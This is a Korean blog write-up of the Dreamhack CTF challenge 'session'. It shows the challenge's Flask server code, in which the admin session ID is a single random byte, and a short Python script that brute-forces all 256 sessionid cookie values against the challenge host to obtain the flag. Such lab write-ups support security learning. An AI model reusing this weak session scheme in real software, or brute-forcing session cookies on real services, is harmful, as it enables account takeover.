외로운 Nova의 작업실
[dreamhack] session 문제 풀이 본문
- 문제인식
세션값을 알아내서 admin 계정으로 로그인 해야하는 것 같습니다. 서버 코드를 봐보겠습니다.
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG
}
session_storage = {
}
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
"/"경로에서 쿠키값 sessionid값에 admin의 세션 id값을 넣으면 될 것 같습니다.
- exploit 설계
해당 문제풀이의 핵심은 os.urandom(1).hex()값의 의미를 아는 것입니다. urandom(1)은 1바이트의 랜덤 바이너리 값을 리턴하고 hex()함수는 그값을 hex값 문자열로 바꿔주는 메소드입니다. 이 점에서 admin의 세션은 1바이트의 헥사값임을 알 수 있습니다. 1바이트면 256번만 대입해보면 알 수 있기때문에 직접해도됩니다. 하지만 bruteforce 코드를 작성해서 풀어보겠습니다.
- exploit
import requests
url = "http://host3.dreamhack.games:17759/"
cookie = {"sessionid" : ""}
for i in range(0,256):
cookie["sessionid"] = hex(i)[2:]
print(cookie["sessionid"])
response = requests.get(url, cookies = cookie)
if "flag" in response.text:
print(response.text)
위 코드는 0~256까지 무차별대입공격을 하는 코드입니다. 해당 코드를 실행시키면 아래와 같은 결과를 얻을 수 있습니다.
text를 view해보면 DH값이 들어있습니다.
'Web Penetesting > Web Vulnerability' 카테고리의 다른 글
dreamhack - filestorage 문제풀이 (0) | 2023.06.04 |
---|---|
dreamhack 웹해킹 - 18(CSP Bypass Advanced 풀이) (0) | 2023.02.26 |
dreamhack 웹해킹 - 16(XSS Filtering Bypass Advanced 풀이) (0) | 2023.02.16 |
dreamhack 웹해킹 - 15(Apache htaccess 풀이) (0) | 2023.02.08 |
[dreamhack] node-serialize 풀이 (0) | 2023.01.28 |
Comments